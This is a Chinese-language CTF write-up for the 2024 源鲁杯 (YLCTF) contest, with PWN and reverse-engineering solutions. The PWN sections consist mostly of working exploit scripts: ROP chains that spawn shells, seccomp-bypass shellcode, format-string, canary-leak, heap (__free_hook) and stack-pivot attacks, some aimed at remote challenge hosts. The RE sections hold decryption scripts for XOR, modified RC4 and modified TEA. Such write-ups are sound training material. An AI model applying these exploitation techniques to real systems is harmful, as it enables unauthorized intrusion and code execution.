2024 源鲁杯


PWN

giaopwn

64位无脑栈溢出,通过vuln中的read函数向buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

通过栈溢出漏洞劫持执行流,通过pop_rdicat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。

加的ret指令是为了栈平衡。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()
pop_rdi=0x0000000000400743
ret=0x00000000004004fe
system=0x4006D2
cat_flag=0x601048
payload=b'\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)
s(payload)

ia()

ezstack

main函数会返回到stack函数执行,stack函数中存在栈溢出。

发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。

但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。

所以我们要拿到shell,必须输入一个不被过滤的字符。

$0也可以用于获取shell。

  • exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #!/usr/bin/env python3
    from pwncli import *
    cli_script()


    io: tube = gift.io
    elf: ELF = gift.elf

    off=56
    #ret用于平栈
    ret=0x000000000040101a
    payload=b'\x00'*off+p64(ret)+p64(elf.sym.vuln)

    sl(payload)
    #$0也可以获取shell
    sla("command\n",b"$0")

    ia()

ezorw

#相似系统调用绕过沙箱

沙箱题

禁止了read、write、open、readv、writev、execveat等系统调用。

常规的 orw 并不奏效,但是我们可以通过openatsendfile来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013
0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#通过openat系统调用打开flag文件,返回描述符3
#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1
shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))
payload=asm(shellcode)
r()
sl(payload)

ia()

ezfmt

#格式化字符串

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc-2.31.so")

vuln=0x40120D
payload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)
s(payload)
ru("welcome to YLCTF\n")
base=int(r(14),16)
stack=int(r(14),16)

print("base:",hex(base))
print("stack:",hex(stack))

base=base-0x024083
stack=stack-0x000120
print(hex(base))
print(hex(stack))

pop_rdi=0x4012b3
system=base+libc.sym.system
sh=base+next(libc.search(b"/bin/sh\x00"))
leave_ret=0x401241

payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)

s(payload)

ia()

canary_orw

任意地址写修改got表打orw

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *

def get_sb():
return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
if c:
gdb.attach(io, c)
else:
gdb.attach(io)
pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('canary')
io = process([elf.path])
#io=remote("139.155.126.78",18969)
context(os=elf.os, arch=elf.arch, log_level='debug')

jmp_esp=0x40081b
rbp=0x0000000000400c4b
ru(b"journey\n")
s(p64(0x400820))
got=elf.got["__stack_chk_fail"]
s(p64(0)+p64(got))
ru(b"magic\n")
s(p64(0x0000000000400a5f))
payload=p64(jmp_esp)
shellcode=""
shellcode+=shellcraft.open("flag")
shellcode+=shellcraft.read("rax",0x601060,0x100)
shellcode+=shellcraft.write(1,0x601060,0x100)
shellcode=asm(shellcode)
payload+=shellcode
r()
s(payload)

ia()

ezheap

  • libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字

  • 第一个思路显然是修改sizelist,但是想起来就算修改了size也不能edit来布置堆,同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的

  • 这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free_hook,然后打free_hook来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

io = process("./pwn")
elf = ELF("./pwn")
libc=elf.libc

menu="Input your choice"
def add(size,cont):
io.sendlineafter(menu,str(1))
io.sendlineafter("Size :",str(size))
io.sendafter("Content :",cont)

def delete(idx):
io.sendlineafter(menu,str(2))
io.sendlineafter("Index :",str(idx))

def edit(addr):
io.sendlineafter(menu,str(3))
io.sendafter("content :",addr)

def show(idx):
io.sendlineafter(menu,str(4))
io.sendlineafter("Index :",str(idx))

add(0x500,b'a')
add(0x500,b'/bin/sh\x00')
add(0x500,b'a')
add(0x500,b'a')
add(0x100,b'a')
delete(2)
add(0x500,b'a'*8)
show(5)
io.recvuntil(b'a'*8)
libcbase=u64(io.recv(6).ljust(8,b"\x00"))-0x1ecbe0
print(hex(libcbase))
free_hook= libcbase +libc.sym['__free_hook']
system=libcbase+libc.sym['system']

mp_=libcbase+0x1EC280+0x50
edit(p64(mp_))

delete(3)
delete(0)
add(0x500,p64(0)*13+p64(free_hook))
add(0x500,p64(system))

delete(1)

io.interactive()
io.sendline('cat flag')
print(io.recvline())

msg_bot

#protobuf

shortshell

程序用mprotect函数开辟了一段可执行代码的区域,而题目限制向buf输入5个字节,并且将buf作为函数执行。

我们可以通过适用jmp跳转到backdoor函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

# 当前地址和目标地址
current_address = 0x404069
target_address = 0x401270

# 计算相对偏移
relative_offset = target_address - current_address # 减去 jmp 指令的字节数
print(f"Relative offset: {relative_offset:#x}") # 打印相对偏移

shellcode = asm(f"""
jmp $+{relative_offset} # 生成向目标地址的跳转
""")

print(f"Shellcode length: {len(shellcode)}")

payload = shellcode
s(payload)

ia()

ezstack2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

ru("good stack\n")
rdi_addr = 0x0000000000400823
vuln = 0x400757
ret = 0x000000000040056e
payload=b"a"*(0x30+8)+p64(ret)+p64(rdi_addr)+p64(0x114514)+p64(vuln)
sl(payload)

ia()

canary

#泄露canary

gift函数是一个直接的栈溢出,溢出的长度充足,而main函数的read可以进行一次溢出覆盖rbp和retaddr,由于开启了canary所以我们要想正常的构造rop链必然要想办法绕过。

仔细观察canary会知道,他是把rbp-0x8处的值和TEB结构体中的值进行异或对比,而rbp-0x8的canary肯定不是凭空出现,存在一个指令用来赋值,如果我们劫持rbp寄存器,就可以做到把canary写到bss段上。

而这里之所以我输出字符串要用strcpy和write 就是为了使得write函数的参数调用也和rbp有关,这样就可以劫持rbp来泄露bss段上canary从而进行正常的ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from ctypes import *

# Start the process or connect to the remote server
io = process("./pwn")
# io = remote("0.0.0.0", 9999)

# Load ELF and libc files
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

# Set debug log level
context.log_level = "debug"

# Define addresses and gadgets
rdi_addr = 0x000000000004013e3
puts_got = elf.got['puts']
puts_plt = 0x4010a0
gift_addr = elf.symbols['gift']
bss_addr = elf.bss(0xe00)
ret_addr = 0x000000000040101a

# Stage 1: Leak Canary
io.recvuntil("Do you want to enter other functions?")
io.sendline(b'0')
payload = p64(bss_addr) + p64(0x401296)
io.send(payload)

io.recvuntil("Do you want to enter other functions?")
io.sendline(b'0')
payload = p64(bss_addr + 0x49) + p64(0x4012EA)
io.send(payload)

io.recv()
canary_addr = u64(io.recv(7).ljust(8, b'\x00')) << 8
success("canary: " + hex(canary_addr))

# Stage 2: Leak libc address
io.sendline(b'1')
payload = cyclic(0x38) + p64(canary_addr) + cyclic(0x8) + p64(ret_addr) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(gift_addr)
io.send(payload)

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - libc.sym['puts']
success("libc_addr: " + hex(libc_addr))

# Calculate system and "/bin/sh" addresses
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))

# Stage 3: Execute system("/bin/sh")
payload = cyclic(0x38) + p64(canary_addr) + cyclic(0x8) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.send(payload)

# Send command to get flag
io.sendline("cat flag")
print(io.recvline())

# Interact with the shell
io.interactive()

maigcread

#bss段栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc-2.23.so")
context.arch=elf.arch

rdi=0x0000000000400723
ret=0x00000000004004c6
leave=0x400675
bss=elf.bss()+0x500
vuln=0x40063a

r()
pay1=b'a'*64+p64(bss+0x40)+p64(leave)
s(pay1)
pay1=b'a'*64+p64(bss+0x40+64)+p64(leave)
s(pay1)

pay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)
s(pay2)

leak=u64(r(6)+b'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+libc.search("/bin/sh\x00").__next__()
print("sh",hex(sh))
ru(b"just read!\n")
pay3=b'a'*64+p64(bss+0x90)+p64(leave)
s(pay3)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
s(pay4)

ia()

futureheap

Secret

主函数调用了check_password函数

只要输入uperSecretPassword即可查看flag

1
2
3
4
5
6
7
8
9
10
11
int check_password()
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF

printf("Enter the secret password: ");
fgets(s, 128, stdin);
if ( strcmp(s, "SuperSecretPassword\n") )
return puts("Wrong password! Try again.");
puts("Access granted!");
return secret_vault();
}
  • exp
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload="SuperSecretPassword"
r()
sl(payload)
ia()

ezstack3

#栈迁移

第一个printf函数可以将buf的地址泄露出来,从而通过gdb调试可以将ebp的地址泄露出来。

这样我们在第二次输入的时候可以确定自己payload的位置。

null

#off-by-null

show_me_the_code

#llvm

RE

xor

exeinfo 发现程序加了 upx 壳,直接利用 upx 脱壳机脱壳。

然后分析代码,发现为简单异或。直接异或0x1c即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int i; // [rsp+4h] [rbp-Ch]
__int64 v9; // [rsp+8h] [rbp-8h]

v9 = getenv("GZCTF_FLAG", argv, envp);
for ( i = 0; i <= 43; ++i )
{
v4 = i;
v3 = *(i + v9) ^ 0x1C;
*(i + v9) ^= 0x1Cu;
}
printf("%s", v9, v3, v4, v5, v6);
return 0;
}
  • exp
1
2
3
4
5
6
7
8
enc=[0x45,0x50,0x5f,0x48,0x5a,0x67,0x28,0x25,0x29,0x7a,0x2c,0x7a,0x24,0x7e,0x31,0x2c,0x2c,0x2d,0x2f,0x31,0x28,0x7d,0x29,0x24,0x31,0x25,0x7d,0x28,0x7d,0x31,0x25,0x25,0x25,0x2e,0x28,0x2f,0x25,0x2d,0x79,0x2a,0x2c,0x2c,0x61,0x1c]

flag=""

for i in range(43):
    flag+=chr(enc[i]^0x1c)

print(flag)

xorplus

魔改rc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
enc=[0x91,0x86,0x1b,0x2d,0x9e,0x6f,0x58,0x31,0x46,0xf0,0xed,0xa2,0xcc,0x90,0x22,0x15,0x8d,0xa2,0x61,0x2d,0x80,0x5a,0x74,0x16,0x6c,0x75,0x81,0x46,0x7e,0x26,0xb5,0x9f,0x85,0x76,0x5d,0xfe,0xb7,0x52,0x54,0xc8,0x4,0x35,0xa6]

a=[0]*256
key="welcometoylctf"
for i in range(256):
    a[i]=i
v6 = 0

for j in range(256):
#魔改点:加了1300
    v6=(ord(key[j%len(key)])+v6+a[j] + 1300)%256
    v3 = a[j]
    a[j] = a[v6]
    a[v6] = v3
v7 = 0
v8 = 0
for k in range(len(enc)):
    v8 = (v8 + 1) % 256
    v7 = (v7 + a[v8]) % 256
    temp = a[v8]
    a[v8] = a[v7]
    a[v7] = temp
    #魔改点:加了20
    enc[k] = (enc[k] - 20) & 0xff
    enc[k] ^= a[(a[v7] + a[v8]) % 256]
print(bytes(enc))
# YLCTF{540aff55-60c2-4a52-8d36-7d7c960bbe08}

eago

#xor

ida打开分析伪代码

根据fmt这个符号就可以判断程序为 go 语言编写。

我们在下面的代码中发现了一个异或:v17.array[v4] ^= v4 + 53;

猜测v17.array就是密文数组,尝试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// main.main
// local variable allocation has failed, the output may be wrong!
void __fastcall main_main()
{
__int64 v0; // r14
__int128 v1; // xmm15
string v2; // kr00_16
uint8 *str; // rbx
int v4; // rcx
__int64 v5; // rdx
int i; // [rsp+0h] [rbp-70h]
int len; // [rsp+8h] [rbp-68h]
runtime_tmpBuf v8; // [rsp+18h] [rbp-58h] BYREF
uint8 *array; // [rsp+38h] [rbp-38h]
_QWORD v10[3]; // [rsp+40h] [rbp-30h] BYREF
_slice_interface_ a; // [rsp+58h] [rbp-18h] BYREF
string v12; // 0:rax.8,8:rbx.8
io_Writer v13; // 0:rax.8,8:rbx.8
io_Writer v14; // 0:rax.8,8:rbx.8
_slice_interface_ v15; // 0:rcx.8,8:rdi.16 OVERLAPPED
_slice_interface_ v16; // 0:rcx.8,8:rdi.16
_slice_uint8 v17; // 0:rax.8,8:rbx.8,16:rcx.8

while ( &a <= *(v0 + 16) )
runtime_morestack_noctxt();
v12.str = "GZCTF_FLAG";
v12.len = 10LL;
v2 = os_Getenv(v12);
v10[0] = v2.str;
a.array = &RTYPE_string_0;
a.len = &off_4B3148;
v15.len = 1LL;
v15.cap = 1LL;
v13.tab = &go_itab__ptr_os_File_comma_io_Writer;
v13.data = os_Stdout;
v15.array = &a;
fmt_Fprintln(v13, v15);
str = v2.str;
v15.array = v2.len;
v17 = runtime_stringtoslicebyte(v8, *&v15.array);
array = v17.array;
len = v17.len;
v4 = 0LL;
while ( v17.len > v4 )
{
i = v4;
v17.array[v4] ^= v4 + 53;
*&v10[1] = v1;
v5 = v17.array[v4];
v10[1] = &RTYPE_uint8_0;
v10[2] = &runtime_staticuint64s[v5];
v14.data = os_Stdout;
v16.len = 1LL;
v16.cap = 1LL;
v14.tab = &go_itab__ptr_os_File_comma_io_Writer;
v16.array = &v10[1];
fmt_Fprintln(v14, v16);
v4 = i + 1;
v17.array = array;
v17.len = len;
}
}
  • exp

猜对了,果然逆向还是要靠猜。

1
2
3
4
5
6
7
8
9
enc = [108, 122, 116, 108, 127, 65, 15, 13, 8, 14, 11, 38, 115, 33, 110, 113, 118, 37, 117, 101, 125, 121, 46, 125, 96, 47, 127, 51, 50, 127, 99, 53, 103, 110, 99, 57, 107, 57, 107, 104, 100, 105, 34]

flag=""

for i in range(len(enc)):
    flag+=chr(enc[i]^i+53)

print(flag)
#YLCTF{41504f2c-53c2-43e1-a0cc-0a284a2c0497}

math

#数独

1

ezvvvvm

#vm

calc

#源代码级混淆

Cr4ckVWe

wasm

#wasm逆向

ida9可以直接反编译wasm程序,我们直接利用ida9打开。

题目给出的是一个wasm文件

该文件可以直接被html调用,由于底层是C/C++,实际运行速度会比js等脚本语言快

如果有ida9.0,拖进去就可以直接分析了

如果没有ida9.0需要使用到wasm2c的工具,先将其转化为c文件

再进行-c编译即可.

直接gcc wasm.c会报错,因为很多wasm的函数没有具体的实现。但是我们可以只编译不链接,我们关心的只是程序本身的逻辑,不需要真正编译出能运行的elf来。

注意这里gcc编译的时候,需要指定wabt项目内的wasm-rt.h,wasm-rt-impl.c,wasm-rt-impl.h三个文件的路径(-I参数),或者把这三个文件放到当前目录。

编译出来的文件,用ida看就好看很多了。

如何找入口点?一般来说其实main函数都在这边__int64 w2c_f7()

但是有可能主体加密不在main函数所以主要关注:

三点几啦饮茶先

#魔改tea加密

魔改了delta以及加密循环轮数。包括左移和右移这些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdint.h>

//解密函数
void decrypt (uint32_t* v, uint32_t* key) {
    uint32_t v0 = v[0], v1 = v[1], i,delta=289739961,sum=delta*40;
    uint32_t k0 = key[0], k1 = key[1], k2 = key[2], k3 = key[3];  
    for (i = 0; i < 40; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
        sum -= delta;  
        v0 -= (((v1 << 2) ^ (v1 >> 3)) + v1) ^ (sum + key[sum & 3]);  
    }                                              
    v[0] = v0; v[1] = v1; // 解密后再重新赋值
}

unsigned int keys[] = {0x1001,0x2002,0x3003,0x4004};
unsigned int cipher[] = { 0x72093D7C,0xB60BF47D };
int main()
{
    uint32_t *v = (uint32_t*)cipher;
    uint32_t *k = (uint32_t*)keys;

    decrypt(v,k);
    printf("%u\n",v[0]);
    printf("%u\n",v[1]);
 return 0;
}

ezapk

#z3

mmmmmmmov

#movofuscator混淆

keygen_rust

ezmaze

case

#ctypes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*  
import ctypes
import codecs
context(os='linux', arch='amd64', log_level='debug')
def rot13(text):
return codecs.encode(text, 'rot_13')
io =remote("challenge.yuanloo.com",{PORT})

libc=ELF("./libc.so.6")
rand=ctypes.CDLL("./libc.so.6")
rand.srand(rand.time(0)) #与题目相同以时间为种子

# print(io.recvline())
m=""
for i in range(43): #17为密文长度
key = rand.rand()%0xff
temp = int(io.recvuntil(",")[:-1],16)
m +=chr(temp^key)
print(rot13(m))
io.interactive()

twocry

MAZE